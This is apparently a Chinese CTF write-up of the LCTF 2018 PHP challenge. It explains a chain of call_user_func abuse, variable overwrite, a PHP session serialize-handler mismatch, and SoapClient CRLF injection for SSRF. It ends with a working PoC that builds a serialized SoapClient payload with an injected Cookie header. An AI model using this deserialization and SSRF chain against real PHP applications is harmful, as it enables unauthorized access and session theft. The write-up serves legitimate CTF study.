Background
还是备战接下来的比赛,刷题把以前自己并没有刨根的题目挖出来,然后自己分析做,做到实在不会再参照wp
分析
知识点分析:
call_user_func函数
变量覆盖
php序列化引擎
ssrf
CRLF注入
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
第一个call_user_fuc可控 session可控,感觉像session反序列化
刚开始觉得都给call_user_func了,为啥不直接命令执行,后来发现我太年轻了
但call_user_func 还是有值得一提的东西的
但如果传入的参数,是一个数组,且数组的第一个值是一个类的名字,或一个对象,那么,就会把数组的第二个值,当做方法,然后执行。
在flag.php发现这么一句话
only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!
严格要求127.0.0.1访问 -> ssrf flag写在session里 index.php里面还打印了session值
明白首先要ssrf访问flag.php把它带到session里面打印出来
我们该如何进行反序列化
在如何操作前先说下php的序列化引擎
这里面引用一位师傅描述的
配置选项 session.serialize_handler,通过该选项可以设置序列化及反序列化时使用的处理器。
如果PHP在反序列化存储的$_SEESION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的伪造,甚至可以伪造任意数据。
当存储是php_serialize处理,然后调用时php去处理,如果这时注入的数据时a=|O:4:"test":0:{},那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";},那么a:1:{s:1:"a";s:16:"会被php解析成键名,后面就是一个test对象的注入。
这时候我们的call_user_func就发挥作用了我们可以设置 ['serialize_handler'=>'php_serialize']
这里面的知识点最核心的方法就是soap
soap是php的原生类
参考文章:https://www.anquanke.com/post/id/153065#h2-1
里面也详谈了soap和CRLF可以写入头
用到了soap的_call方法 那么如何触发_call方法呢
题中可以先用extract()将b覆盖成call_user_func(),reset($_SESSION)就是$_SESSION['name'],我们可以传入name=SoapClient,那么最后call_user_func($b, $a)就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')),call_user_func(SoapClient->welcome_to_the_lctf2018),由于SoapClient类中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求
所以我们要利用crlf请求去访问flag.php并将结果保存在cookie的session中。然后替换 利用var_dump($SESSION)出得 拿到flag
poc:
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "T4rn\r\nCookie: PHPSESSID=xxxxx\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo "|".$payload;
设置serialize解析器
反序列化调用soap触发_call方法
替换返回session即可
我们回顾下我们的知识点 首先我们想到反序列化想到怎么注入数据和怎么触发,触发我们想到更换serialize解析引擎,注入数据我们想到调用SoapClient的__call方法的CRLF注入头部
而细小的知识点 包括变量覆盖,包括我前面提到的小demo都值得学习